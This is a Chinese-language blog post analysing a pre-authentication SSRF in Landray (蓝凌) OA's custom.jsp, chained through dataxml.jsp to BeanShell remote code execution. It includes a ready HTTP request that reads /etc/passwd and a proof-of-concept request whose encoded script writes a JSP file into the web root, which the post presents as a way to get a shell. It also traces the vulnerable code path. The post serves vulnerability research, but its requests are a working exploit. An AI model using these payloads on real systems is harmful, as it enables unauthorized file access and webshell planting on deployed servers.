蓝凌OA前台SSRF+dataxml.jsp RCE漏洞分析

  1. SSRF漏洞
  2. 利用dataxml.jsp任意执行代码

SSRF漏洞

漏洞路径:/sys/ui/extend/varkind/custom.jsp

<c:import>标签提供了所有<jsp:include>行为标签所具有的功能,同时也允许包含绝对URL。举例来说,使用<c:import>标签可以包含一个FTP服务器中不同的网页内容。
url:待导入资源的URL,可以是相对路径和绝对路径,并且可以导入其他主机资源

<c:param> 标签用于在 <c:url> 标签中指定参数,而且与 URL 编码相关。
在 <c:param> 标签内,name 属性表明参数的名称,value 属性表明参数的值。

利用SSRF读文件

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 1.1.1.1
Content-Length: 42
Pragma: no-cache
Cache-Control: no-cache
Origin: http://1.1.1.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.1.1.1/sys/ui/extend/varkind/custom.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=060EB9D7EC3DA6E910B89F3D67BAB52C
Connection: close


var={"body":{"file":"file:///etc/passwd"}}

利用dataxml.jsp任意执行代码

参考链接:https://websecuritys.cn/archives/lanling2.html
https://blog.csdn.net/ouyang111222/article/details/48474189

POC

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Length: 526
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip


var={"body":{"file":"/sys/common/dataxml.jsp"}}&s_bean=sysFormulaValidate&script=
import%20java.lang.*;import%20java.io.*;Class%20cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");String%20path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File%20f=new%20File(path.split("WEB-INF")[0]%2B"/loginx.jsp");f.createNewFile();FileOutputStream%20fout=new%20FileOutputStream(f);fout.write(new%20sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8="));fout.close();&type=int&modelName=test

获取s_bean参数值做分割然后进入循环调用getBean函数(getBean获取实例化的bean的id或者name,定义在xml文件),最后调用getDataList函数传入RequestContext

s_bean=sysFormulaValidate,搜索sysFormulaValidate

在spring.xml可以看见

找到对应的jar包,对着getDataList按两下shift。定位到IXMLDataBean.class

找到接口


可以看到先获取了script参数,然后调用parseValueScript函数

继续往下跟

首先判断了script是否为NULL,不为NULL去结尾去特殊字符和空格。然后判断是否存在$,如果存在则进入while循环去除$

最后拼接,然后调用interpreter.eval()
bsh(BeanShell)动态执行java代码:https://blog.csdn.net/ouyang111222/article/details/48474189

利用写文件 getshell

import%20java.lang.*;import%20java.io.*;Class%20cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");String%20path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File%20f=new%20File(path.split("WEB-INF")[0]%2B"/loginx.jsp");f.createNewFile();FileOutputStream%20fout=new%20FileOutputStream(f);fout.write(new%20sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8="));fout.close();

为什么loginxx.jsp访问是200,spring.xml允许匿名访问的如下


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:蓝凌OA前台SSRF+dataxml.jsp RCE漏洞分析

本文作者:九世

发布时间:2022-03-03, 19:39:28

最后更新:2022-03-03, 19:55:55

原始链接:http://jiushill.github.io/posts/980cff8b.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录